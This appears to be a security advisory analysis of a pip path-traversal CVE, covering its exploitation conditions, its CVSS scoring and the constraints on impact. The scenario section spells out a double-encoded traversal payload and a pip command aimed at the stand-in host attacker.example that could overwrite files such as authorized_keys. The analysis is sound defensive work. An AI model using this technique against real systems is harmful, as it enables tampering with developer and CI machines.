pip CVE-2026-13346

Two specific conditions must both be satisfied: first, the victim must direct pip at a malicious or attacker-controlled PyPI-compatible package index, either by passing --index-url or --extra-index-url pointing to the attacker's server, or by having a compromised pip.conf / pyproject.toml index configuration - the official PyPI index cannot be used to deliver the crafted URL. Second, the victim must invoke pip download with the --only-binary flag (e.g., pip download --only-binary :all:); the description explicitly states this is the only materially impacted use case, as source distribution installs from untrusted indexes already execute arbitrary code and are inherently unsafe. Exploitation is further limited by: required active user interaction (the victim must run the pip command, UI:A), high attack complexity due to the need for a convincing malicious index that the victim is tricked into targeting (AC:H), and OS-level file permission boundaries that constrain what paths the pip process can overwrite.

The provided CVSS 4.0 score of 5.6 (AV:N/AC:H/AT:P/PR:H/UI:A) reflects medium severity with significant exploitation constraints. The PR:H metric in the official vector is atypical for an attacker-controlled index scenario - from an attacker's perspective no system-level privileges on the victim machine are required; PR:H may instead reflect the operational barrier of needing to serve a convincing malicious index that the victim's pip is directed toward. Attack complexity is genuinely high (AC:H) because exploitation requires the victim to explicitly target a malicious or compromised index URL. The CVE description explicitly bounds primary impact to pip download --only-binary, since installing source distributions from an untrusted index already executes arbitrary code and is treated as an inherently unsafe operation. No EPSS score, no CISA KEV listing, and no POC availability data were provided, leaving exploitation probability unquantifiable but assessed as no public exploit identified at time of analysis. File write impact (VI:H) is bounded by the OS permissions of the pip process - non-root pip invocations limit attacker reach significantly. Overall this is a real but constrained integrity risk, most relevant to CI/CD pipelines downloading wheels from third-party indexes with elevated process privileges.

An attacker registers a domain serving a PyPI-compatible package index and publishes a wheel with a URL containing doubly-percent-encoded traversal sequences such as %252E%252E%252F in the filename field. A developer or CI job running pip download --only-binary :all: --index-url https://attacker.example/simple/ targetpackage fetches the wheel, pip double-decodes the filename to include ../ components, and os.path.join writes the file to an attacker-specified path outside the download directory - potentially overwriting a startup script, SSH authorized_keys, or application configuration accessible to the pip process. No public POC has been identified at time of analysis.